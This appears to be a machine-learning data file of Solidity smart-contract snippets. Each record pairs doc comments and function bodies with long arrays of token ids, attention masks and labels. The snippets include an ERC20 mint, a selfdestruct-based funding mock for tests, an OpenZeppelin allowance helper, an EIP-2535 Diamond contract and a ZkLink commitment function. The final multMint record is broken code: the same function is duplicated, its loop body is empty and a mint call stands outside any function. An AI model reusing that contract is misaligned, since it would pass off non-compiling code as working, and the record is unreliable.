[ 1, 565, 445, 389, 81, 474, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 312, 474, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 4963, 3088, 1283, 273, 389, 4963, 3088, 1283, 18, 1289, 12, 8949, 1769, 203, 3639, 389, 70, 26488, 63, 4631, 65, 273, 389, 70, 26488, 63, 4631, 8009, 1289, 12, 8949, 1769, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; contract ForceFunderMock { /** * Convenience method for depositing eth into non-payable contracts * which the forked provider tests would like to impersonate * as a message sender. * * @param destination destination of eth payment */ function fund(address destination) public payable { selfdestruct(payable(address(destination))); } }
* Convenience method for depositing eth into non-payable contracts which the forked provider tests would like to impersonate as a message sender. @param destination destination of eth payment/
function fund(address destination) public payable { selfdestruct(payable(address(destination))); }
6,356,151
[ 1, 14700, 707, 364, 443, 1724, 310, 13750, 1368, 1661, 17, 10239, 429, 20092, 1492, 326, 12515, 329, 2893, 7434, 4102, 3007, 358, 1646, 3565, 340, 487, 279, 883, 5793, 18, 282, 2929, 282, 2929, 434, 13750, 5184, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 284, 1074, 12, 2867, 2929, 13, 1071, 8843, 429, 288, 203, 3639, 365, 5489, 8813, 12, 10239, 429, 12, 2867, 12, 10590, 3719, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x8Df600508c6bF872eEB902Ee8E81B2eB9717eb6D/sources/https_/github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
* @dev Updates `owner` s allowance for `spender` based on spent `amount`. Does not update the allowance amount in case of infinite allowance. Revert if not enough allowance is available. Might emit an {Approval} event./
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < amount) { revert ERC20InsufficientAllowance(spender, currentAllowance, amount); } unchecked { _approve(owner, spender, currentAllowance - amount, false); } } }
3,119,004
[ 1, 5121, 1375, 8443, 68, 272, 1699, 1359, 364, 1375, 87, 1302, 264, 68, 2511, 603, 26515, 1375, 8949, 8338, 9637, 486, 1089, 326, 1699, 1359, 3844, 316, 648, 434, 14853, 1699, 1359, 18, 868, 1097, 309, 486, 7304, 1699, 1359, 353, 2319, 18, 490, 750, 3626, 392, 288, 23461, 97, 871, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 87, 1302, 7009, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2254, 5034, 783, 7009, 1359, 273, 1699, 1359, 12, 8443, 16, 17571, 264, 1769, 203, 3639, 309, 261, 2972, 7009, 1359, 480, 618, 12, 11890, 5034, 2934, 1896, 13, 288, 203, 5411, 309, 261, 2972, 7009, 1359, 411, 3844, 13, 288, 203, 7734, 15226, 4232, 39, 3462, 5048, 11339, 7009, 1359, 12, 87, 1302, 264, 16, 783, 7009, 1359, 16, 3844, 1769, 203, 5411, 289, 203, 5411, 22893, 288, 203, 7734, 389, 12908, 537, 12, 8443, 16, 17571, 264, 16, 783, 7009, 1359, 300, 3844, 16, 629, 1769, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.0; import { DiamondLib } from "./lib/DiamondLib.sol"; import { IDiamondCut } from "./lib/interfaces/IDiamondCut.sol"; // The Diamond contract contract FuckYousUniverse { constructor(address _contractOwner, address _diamondCutFacet) payable { DiamondLib.setContractOwner(_contractOwner); // Add the diamondCut external function from the diamondCutFacet IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1); bytes4[] memory functionSelectors = new bytes4[](1); functionSelectors[0] = IDiamondCut.diamondCut.selector; cut[0] = IDiamondCut.FacetCut({ facetAddress: _diamondCutFacet, action: IDiamondCut.FacetCutAction.Add, functionSelectors: functionSelectors }); DiamondLib.diamondCut(cut, address(0), ""); } // Find facet for function that is called and execute the // function if a facet is found and return any value. fallback() external payable { DiamondLib.DiamondStorage storage ds; bytes32 position = DiamondLib.DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } address facet = address(bytes20(ds.facets[msg.sig])); require(facet != address(0), "Diamond: Function does not exist"); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } receive() external payable {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ import { IDiamondCut } from './interfaces/IDiamondCut.sol'; library DiamondLib { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256('diamond.standard.diamond.storage'); struct DiamondStorage { // maps function selectors to the facets that execute the functions. // and maps the selectors to their position in the selectorSlots array. // func selector => address facet, selector position mapping(bytes4 => bytes32) facets; // array of slots of function selectors. // each slot holds 8 function selectors. mapping(uint256 => bytes32) selectorSlots; // The number of function selectors in selectorSlots uint16 selectorCount; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { DiamondStorage storage ds = diamondStorage(); address previousOwner = ds.contractOwner; ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = diamondStorage().contractOwner; } function enforceIsContractOwner() internal view { require(msg.sender == diamondStorage().contractOwner, 'DiamondLib: Must be contract owner'); } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); bytes32 constant CLEAR_ADDRESS_MASK = bytes32(uint256(0xffffffffffffffffffffffff)); bytes32 constant CLEAR_SELECTOR_MASK = bytes32(uint256(0xffffffff << 224)); // Internal function version of diamondCut // This code is almost the same as the external diamondCut, // except it is using 'Facet[] memory _diamondCut' instead of // 'Facet[] calldata _diamondCut'. // The code is duplicated to prevent copying calldata to memory which // causes an error for a two dimensional array. function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { DiamondStorage storage ds = diamondStorage(); uint256 originalSelectorCount = ds.selectorCount; uint256 selectorCount = originalSelectorCount; bytes32 selectorSlot; // Check if last selector slot is not full // 'selectorCount & 7' is a gas efficient modulo by eight 'selectorCount % 8' if (selectorCount & 7 > 0) { // get last selectorSlot // 'selectorSlot >> 3' is a gas efficient division by 8 'selectorSlot / 8' selectorSlot = ds.selectorSlots[selectorCount >> 3]; } // loop through diamond cut for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { (selectorCount, selectorSlot) = addReplaceRemoveFacetSelectors( selectorCount, selectorSlot, _diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].action, _diamondCut[facetIndex].functionSelectors ); } if (selectorCount != originalSelectorCount) { ds.selectorCount = uint16(selectorCount); } // If last selector slot is not full // 'selectorCount & 7' is a gas efficient modulo by eight 'selectorCount % 8' if (selectorCount & 7 > 0) { // 'selectorSlot >> 3' is a gas efficient division by 8 'selectorSlot / 8' ds.selectorSlots[selectorCount >> 3] = selectorSlot; } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addReplaceRemoveFacetSelectors( uint256 _selectorCount, bytes32 _selectorSlot, address _newFacetAddress, IDiamondCut.FacetCutAction _action, bytes4[] memory _selectors ) internal returns (uint256, bytes32) { DiamondStorage storage ds = diamondStorage(); require(_selectors.length > 0, 'DiamondLib.cut: No selectors in facet to cut'); if (_action == IDiamondCut.FacetCutAction.Add) { enforceHasContractCode(_newFacetAddress, 'DiamondLib.cut: Add facet has no code'); for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; bytes32 oldFacet = ds.facets[selector]; require(address(bytes20(oldFacet)) == address(0), "DiamondLib.cut: Can't add function that already exists"); // add facet for selector ds.facets[selector] = bytes20(_newFacetAddress) | bytes32(_selectorCount); // '_selectorCount & 7' is a gas efficient modulo by eight '_selectorCount % 8' uint256 selectorInSlotPosition = (_selectorCount & 7) << 5; // clear selector position in slot and add selector _selectorSlot = (_selectorSlot & ~(CLEAR_SELECTOR_MASK >> selectorInSlotPosition)) | (bytes32(selector) >> selectorInSlotPosition); // if slot is full then write it to storage if (selectorInSlotPosition == 224) { // '_selectorSlot >> 3' is a gas efficient division by 8 '_selectorSlot / 8' ds.selectorSlots[_selectorCount >> 3] = _selectorSlot; _selectorSlot = 0; } _selectorCount++; } } else if (_action == IDiamondCut.FacetCutAction.Replace) { enforceHasContractCode(_newFacetAddress, 'DiamondLib.cut: Replace facet has no code'); for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; bytes32 oldFacet = ds.facets[selector]; address oldFacetAddress = address(bytes20(oldFacet)); // only useful if immutable functions exist require(oldFacetAddress != address(this), "DiamondLib.cut: Can't replace immutable function"); require(oldFacetAddress != _newFacetAddress, "DiamondLib.cut: Can't replace function with same function"); require(oldFacetAddress != address(0), "DiamondLib.cut: Can't replace function that doesn't exist"); // replace old facet address ds.facets[selector] = (oldFacet & CLEAR_ADDRESS_MASK) | bytes20(_newFacetAddress); } } else if (_action == IDiamondCut.FacetCutAction.Remove) { require(_newFacetAddress == address(0), 'DiamondLib.cut: Remove facet address must be address(0)'); // '_selectorCount >> 3' is a gas efficient division by 8 '_selectorCount / 8' uint256 selectorSlotCount = _selectorCount >> 3; // '_selectorCount & 7' is a gas efficient modulo by eight '_selectorCount % 8' uint256 selectorInSlotIndex = _selectorCount & 7; for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { if (_selectorSlot == 0) { // get last selectorSlot selectorSlotCount--; _selectorSlot = ds.selectorSlots[selectorSlotCount]; selectorInSlotIndex = 7; } else { selectorInSlotIndex--; } bytes4 lastSelector; uint256 oldSelectorsSlotCount; uint256 oldSelectorInSlotPosition; // adding a block here prevents stack too deep error { bytes4 selector = _selectors[selectorIndex]; bytes32 oldFacet = ds.facets[selector]; require(address(bytes20(oldFacet)) != address(0), "DiamondLib.cut: Can't remove function that doesn't exist"); // only useful if immutable functions exist require(address(bytes20(oldFacet)) != address(this), "DiamondLib.cut: Can't remove immutable function"); // replace selector with last selector in ds.facets // gets the last selector lastSelector = bytes4(_selectorSlot << (selectorInSlotIndex << 5)); if (lastSelector != selector) { // update last selector slot position info ds.facets[lastSelector] = (oldFacet & CLEAR_ADDRESS_MASK) | bytes20(ds.facets[lastSelector]); } delete ds.facets[selector]; uint256 oldSelectorCount = uint16(uint256(oldFacet)); // 'oldSelectorCount >> 3' is a gas efficient division by 8 'oldSelectorCount / 8' oldSelectorsSlotCount = oldSelectorCount >> 3; // 'oldSelectorCount & 7' is a gas efficient modulo by eight 'oldSelectorCount % 8' oldSelectorInSlotPosition = (oldSelectorCount & 7) << 5; } if (oldSelectorsSlotCount != selectorSlotCount) { bytes32 oldSelectorSlot = ds.selectorSlots[oldSelectorsSlotCount]; // clears the selector we are deleting and puts the last selector in its place. oldSelectorSlot = (oldSelectorSlot & ~(CLEAR_SELECTOR_MASK >> oldSelectorInSlotPosition)) | (bytes32(lastSelector) >> oldSelectorInSlotPosition); // update storage with the modified slot ds.selectorSlots[oldSelectorsSlotCount] = oldSelectorSlot; } else { // clears the selector we are deleting and puts the last selector in its place. _selectorSlot = (_selectorSlot & ~(CLEAR_SELECTOR_MASK >> oldSelectorInSlotPosition)) | (bytes32(lastSelector) >> oldSelectorInSlotPosition); } if (selectorInSlotIndex == 0) { delete ds.selectorSlots[selectorSlotCount]; _selectorSlot = 0; } } _selectorCount = selectorSlotCount * 8 + selectorInSlotIndex; } else { revert('DiamondLib.cut: Incorrect FacetCutAction'); } return (_selectorCount, _selectorSlot); } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, 'DiamondLib.cut: _init is address(0) but_calldata is not empty'); } else { require(_calldata.length > 0, 'DiamondLib.cut: _calldata is empty but _init is not address(0)'); if (_init != address(this)) { enforceHasContractCode(_init, 'DiamondLib.cut: _init address has no code'); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert('DiamondLib.cut: _init function reverted'); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} // Add=0, Replace=1, Remove=2 struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); }
Add the diamondCut external function from the diamondCutFacet
constructor(address _contractOwner, address _diamondCutFacet) payable { DiamondLib.setContractOwner(_contractOwner); IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1); bytes4[] memory functionSelectors = new bytes4[](1); functionSelectors[0] = IDiamondCut.diamondCut.selector; cut[0] = IDiamondCut.FacetCut({ facetAddress: _diamondCutFacet, action: IDiamondCut.FacetCutAction.Add, functionSelectors: functionSelectors }); DiamondLib.diamondCut(cut, address(0), ""); }
234,404
[ 1, 986, 326, 4314, 301, 1434, 15812, 3903, 445, 628, 326, 4314, 301, 1434, 15812, 11137, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 12316, 12, 2867, 389, 16351, 5541, 16, 1758, 389, 3211, 301, 1434, 15812, 11137, 13, 8843, 429, 288, 540, 203, 202, 202, 14521, 301, 1434, 5664, 18, 542, 8924, 5541, 24899, 16351, 5541, 1769, 203, 203, 202, 202, 734, 29401, 1434, 15812, 18, 11137, 15812, 8526, 3778, 6391, 273, 394, 1599, 29401, 1434, 15812, 18, 11137, 15812, 8526, 12, 21, 1769, 203, 202, 202, 3890, 24, 8526, 3778, 445, 19277, 273, 394, 1731, 24, 8526, 12, 21, 1769, 203, 202, 202, 915, 19277, 63, 20, 65, 273, 1599, 29401, 1434, 15812, 18, 3211, 301, 1434, 15812, 18, 9663, 31, 203, 202, 202, 5150, 63, 20, 65, 273, 1599, 29401, 1434, 15812, 18, 11137, 15812, 12590, 203, 1082, 202, 21568, 1887, 30, 389, 3211, 301, 1434, 15812, 11137, 16, 7010, 1082, 202, 1128, 30, 1599, 29401, 1434, 15812, 18, 11137, 15812, 1803, 18, 986, 16, 7010, 1082, 202, 915, 19277, 30, 445, 19277, 203, 202, 202, 22938, 203, 202, 202, 14521, 301, 1434, 5664, 18, 3211, 301, 1434, 15812, 12, 5150, 16, 1758, 12, 20, 3631, 1408, 1769, 540, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xDd5097FC3f68958649cE70F42B7c1CF0067a3545/sources/cache/solpp-generated-contracts/ZkLink.sol
@dev Creates block commitment from its data @dev _offsetCommitment - hash of the array where 1 is stored in chunk where onchainOperation begins and 0 for other chunks
function createBlockCommitment(StoredBlockInfo memory _previousBlock, CommitBlockInfo memory _newBlockData, bool _compressed, CompressedBlockExtraInfo memory _newBlockExtraData, bytes memory offsetsCommitment) internal pure returns (bytes32 commitment) { bytes32 offsetsCommitmentHash = !_compressed ? sha256(offsetsCommitment) : _newBlockExtraData.offsetCommitmentHash; bytes32 newBlockPubDataHash = !_compressed ? sha256(_newBlockData.publicData) : _newBlockExtraData.publicDataHash; commitment = sha256(abi.encodePacked( uint256(_newBlockData.blockNumber), uint256(_newBlockData.feeAccount), _previousBlock.stateHash, _newBlockData.newStateHash, uint256(_newBlockData.timestamp), newBlockPubDataHash, offsetsCommitmentHash )); }
16,530,412
[ 1, 2729, 1203, 23274, 628, 2097, 501, 225, 389, 3348, 5580, 475, 300, 1651, 434, 326, 526, 1625, 404, 353, 4041, 316, 2441, 1625, 603, 5639, 2988, 17874, 471, 374, 364, 1308, 6055, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 1768, 5580, 475, 12, 18005, 1768, 966, 3778, 389, 11515, 1768, 16, 10269, 1768, 966, 3778, 389, 2704, 1768, 751, 16, 1426, 389, 15385, 16, 5427, 4638, 1768, 7800, 966, 3778, 389, 2704, 1768, 7800, 751, 16, 1731, 3778, 8738, 5580, 475, 13, 2713, 16618, 1135, 261, 3890, 1578, 23274, 13, 288, 203, 3639, 1731, 1578, 8738, 5580, 475, 2310, 273, 401, 67, 15385, 692, 6056, 5034, 12, 16542, 5580, 475, 13, 294, 389, 2704, 1768, 7800, 751, 18, 3348, 5580, 475, 2310, 31, 203, 3639, 1731, 1578, 28482, 9581, 751, 2310, 273, 401, 67, 15385, 692, 6056, 5034, 24899, 2704, 1768, 751, 18, 482, 751, 13, 294, 389, 2704, 1768, 7800, 751, 18, 482, 751, 2310, 31, 203, 3639, 23274, 273, 6056, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 203, 7734, 2254, 5034, 24899, 2704, 1768, 751, 18, 2629, 1854, 3631, 203, 7734, 2254, 5034, 24899, 2704, 1768, 751, 18, 21386, 3032, 3631, 203, 7734, 389, 11515, 1768, 18, 2019, 2310, 16, 203, 7734, 389, 2704, 1768, 751, 18, 2704, 1119, 2310, 16, 203, 7734, 2254, 5034, 24899, 2704, 1768, 751, 18, 5508, 3631, 203, 7734, 28482, 9581, 751, 2310, 16, 203, 7734, 8738, 5580, 475, 2310, 203, 5411, 262, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0xA46c378843BbFc3D03506aE7143A46B6C8BB1206/sources/contracts/multiMint.sol
call mint with contract address to mint
contract multMint { function multMintAction(address contractAddr, address senderAddr, uint256 numRequested) public payable{ if (msg.value != numRequested * (0.14 ether)) revert(); Callee c = Callee(contractAddr); if (numRequested > c.getRemaining()) revert(); for (uint i=0; i < numRequested; i++){ } } function multMintAction(address contractAddr, address senderAddr, uint256 numRequested) public payable{ if (msg.value != numRequested * (0.14 ether)) revert(); Callee c = Callee(contractAddr); if (numRequested > c.getRemaining()) revert(); for (uint i=0; i < numRequested; i++){ } } c.safeMint{value:0.14 ether}(senderAddr); }
4,523,289
